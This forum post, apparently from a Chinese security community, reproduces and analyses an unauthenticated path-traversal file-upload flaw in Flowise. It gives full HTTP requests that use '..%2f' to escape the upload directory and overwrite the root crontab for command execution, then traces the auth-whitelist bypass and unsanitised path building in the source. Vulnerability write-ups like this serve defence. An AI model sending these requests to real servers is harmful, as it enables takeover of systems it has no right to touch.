找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3805

积分

0

好友

499

主题
发表于 昨天 21:38 | 查看: 4| 回复: 0

漏洞简介

Flowise 是一款兼容 LangChain 的开源低代码工具,让普通用户和开发者都能通过拖拽连线的方式,快速构建 LLM 工作流与 AI 应用。然而,该平台存在一个严重的安全漏洞:尽管 Flowise 实施了上传校验,攻击者仍能借助特殊的路径编码,绕过限制,将文件写入服务器上的任意目录。

这意味着什么?未经授权的攻击者可以上传恶意脚本、 Webshell 甚至植入 SSH 密钥,进而获得服务器的远程控制权。对于依赖此平台构建 AI 智能体的组织来说,这无疑是一个巨大的安全威胁。

漏洞复现

首先,按照官方步骤,通过 Docker Compose 完成环境搭建。

Docker Compose 部署步骤截图

启动后,访问 http://localhost:3000,可以看到 FlowiseAI 的管理界面。

FlowiseAI 主界面截图

环境就绪后,构造一个普通的文件上传请求包。注意,这里的 URL 路径是 /api/v1/attachments/test/test

POST /api/v1/attachments/test/test HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 215

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain

This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--

请求发送成功后,可以在 Burp Suite 或类似的 HTTP 调试工具中看到 200 OK 的响应,文件似乎上传成功了。

HTTP 请求与响应截图

进入服务器容器内部,查找刚上传的文件,确认它被保存在了预期的存储路径下。

终端查找文件截图

接下来是关键一步。为了将文件写出到预期目录之外,我们对 URL 路径中的 test 部分进行 URL 编码。..%2f../ 的编码形式。通过这种路径遍历技巧,就能将文件上传到其他目录。

POST /api/v1/attachments/..%2ftest/test HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 215

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="test.txt"
Content-Type: text/plain

This is the content of the file.
------WebKitFormBoundary7MA4YWxkTrZu0gW--

再次发送请求,服务器依然返回了成功响应。

HTTP 请求与响应截图

再次到服务器上查找,你会发现,相同的文件名出现在了另一个目录层级中,跨目录写入成功!

终端查找文件截图

至此,任意目录写入的漏洞已经得到验证。但攻击者的野心不止于此。一个更具危害性的利用方式是:向系统定时任务目录写入文件,从而实现任意命令执行。例如,可以向 /etc/periodic/ 下的 Cron 任务脚本中注入恶意命令。

POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2fusr/..%2fvar%2fspool%2fcron%2fcrontabs HTTP/1.1
Host: localhost:3000
Accept: application/json, text/plain, */*
x-request-from: internal
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/apikey
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 657

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="root"
Content-Type: text/plain

# do daily/weekly/monthly maintenance
# min   hour    day     month   weekday command
*/15    *       *       *       *       run-parts /etc/periodic/15min
0       *       *       *       *       run-parts /etc/periodic/hourly
0       2       *       *       *       run-parts /etc/periodic/daily
0       3       *       *       6       run-parts /etc/periodic/weekly
0       5       1       *       *       run-parts /etc/periodic/monthly
*       *       *       *       *       echo "a" >> /tmp/test.txt
------WebKitFormBoundary7MA4YWxkTrZu0gW--

攻击报文发出,服务器返回成功。

HTTP 请求与响应截图

随后,在 /tmp 目录下,就能观察到我们通过 Cron 定时任务写入的文件,并且内容在持续更新。这证实了命令已成功执行。

终端验证命令执行截图

终端进程列表截图

漏洞分析

为什么会存在这个漏洞?我们来剖析一下 Flowise 的后端代码逻辑。

在架构设计上,constants.ts 定义了一个名为 WHITELIST_URLS 的数组,里面包含了一系列可以绕过认证的 API 路径。这样做的初衷是方便一些公共功能,比如文件操作、API Key 校验等,无需登录即可访问。

Flowise-main/packages/server/src/utils/constants.ts

白名单URL常量代码截图

当一个 HTTP 请求到达时,鉴权中间件会执行一套清晰的逻辑:第一步,检查请求路径是否包含 /api/v1(不区分大小写);第二步,进行大小写敏感匹配;最后,判断该路径是否在白名单中。若在白名单内,直接放行;否则,会检查请求头 x-request-from 是否为 internal,或者尝试校验 API Key。而我们的攻击路径 /api/v1/attachments/..%2ftest/test 正好符合白名单规则,从而绕过了认证与授权检查。

Flowise-main/packages/server/src/index.ts

鉴权中间件代码截图

通过认证后,请求进入了附件上传的路由处理。

Flowise-main/packages/server/src/routes/attachments/index.ts

附件路由代码截图

紧接着,attachmentsController.createAttachment 被调用,它实际执行的是 createFileAttachment 函数。

Flowise-main/packages/server/src/services/attachments/index.ts#createFileAttachment

createAttachment 函数代码截图

createFileAttachment 内部,最核心的文件落地操作交给了 addArrayFilesToStorage

Flowise-main/packages/server/src/utils/createAttachment.ts#createFileAttachment

createFileAttachment 函数代码截图

问题就出在 addArrayFilesToStorage 里。它在构建文件最终存储路径时,直接将 URL 中的 chatflowIdchatId 参数拼接进了目录路径,而没有做任何过滤或净化。当我们在 chatflowId 的位置插入 ..%2f 时,解码后就成了路径穿越的 ../,从而允许文件被写入到任意预期外的位置。

Flowise-main/packages/components/src/storageUtils.ts#addArrayFilesToStorage

addArrayFilesToStorage 函数代码截图

说白了,这个漏洞的根源在于对用户输入的盲目信任。一个本应通过简单过滤就能避免的路径穿越问题,最终导致了严重的服务器失陷风险。

云栈社区始终关注此类安全漏洞与防御技术,欢迎各位安全同行在社区分享你的见解和实战经验。




上一篇:Loop工程是什么?告别单次提示词,用循环设计构建AI工作系统
下一篇:小米开源 AI 编程助手 MiMo Code:一行命令安装,实现无限上下文 Agent 编程
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-6-12 00:56 , Processed in 0.812651 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表